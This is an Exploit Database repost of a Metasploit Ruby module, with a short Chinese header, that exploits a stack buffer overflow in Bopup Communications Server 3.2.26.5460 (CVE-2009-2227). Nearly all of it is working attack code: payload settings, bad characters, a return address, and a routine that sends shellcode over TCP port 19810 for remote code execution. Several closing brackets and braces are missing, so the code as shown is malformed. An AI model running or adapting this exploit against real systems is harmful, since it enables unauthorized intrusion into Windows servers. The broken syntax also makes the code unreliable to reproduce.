Bopup Communications Server – Remote Buffer Overflow (Metasploit)

Exploit Database
97 阅读

作者： Metasploit

日期： 2010-05-09
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/16445/

# $Id: bopup_comm.rb 9262 2010-05-09 17:45:00Z jduck $

# This file is part of the Metasploit Framework and may be subject to

# redistribution and commercial restrictions. Please see the Metasploit

# Framework web site for more information on licensing and terms of use.

# http://metasploit.com/framework/

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote

Rank = GoodRanking

include Msf::Exploit::Remote::Tcp

def initialize(info = {})

super(update_info(info,

'Name' => 'Bopup Communications Server Buffer Overflow',

'Description'=> %q{

This module exploits a stack buffer overflow in Bopup Communications Server 3.2.26.5460.

By sending a specially crafted packet, an attacker may be

able to execute arbitrary code.

'Author' => [ 'MC' ],

'License'=> MSF_LICENSE,

'Version'=> '$Revision: 9262 $',

'References' =>

[

[ 'CVE', '2009-2227' ],

[ 'OSVDB', '55275' ],

[ 'URL', 'http://www.blabsoft.com/products/server' ],

[ 'URL', 'http://milw0rm.com/exploits/9002' ],

'DefaultOptions' =>

{

'EXITFUNC' => 'thread',

'Payload'=>

{

'Space'=> 417,

'BadChars' => "\x00\x09\x0a\x0d\x20\x22\x25\x26\x27\x2b\x2f\x3a\x3c\x3e\x3f\x40",

'StackAdjustment' => -3500,

'PrependEncoder' => "\x81\xc4\xff\xef\xff\xff\x44",

'Platform' => 'win',

'Targets'=>

[

[ 'Bopup Communications Server 3.2.26.5460', { 'Ret' => 0x0041add2 } ],

'Privileged' => true,

'DefaultTarget'=> 0,

'DisclosureDate' => 'Jun 18 2009'))

register_options(

[

Opt::RPORT(19810)

], self.class)

end

def exploit

connect

sploit =[0x00000001].pack('V')

sploit << rand_text_alpha_upper(829 - payload.encoded.length)

sploit << payload.encoded

sploit << Metasm::Shellcode.assemble(Metasm::Ia32.new, "call $-380").encode_string

sploit << rand_text_alpha_upper(27)

sploit << Rex::Arch::X86.jmp_short(222) + rand_text_english(2)

sploit << [target.ret].pack('V')

print_status("Trying target #{target.name}...")

sock.put(sploit)

handler

disconnect

end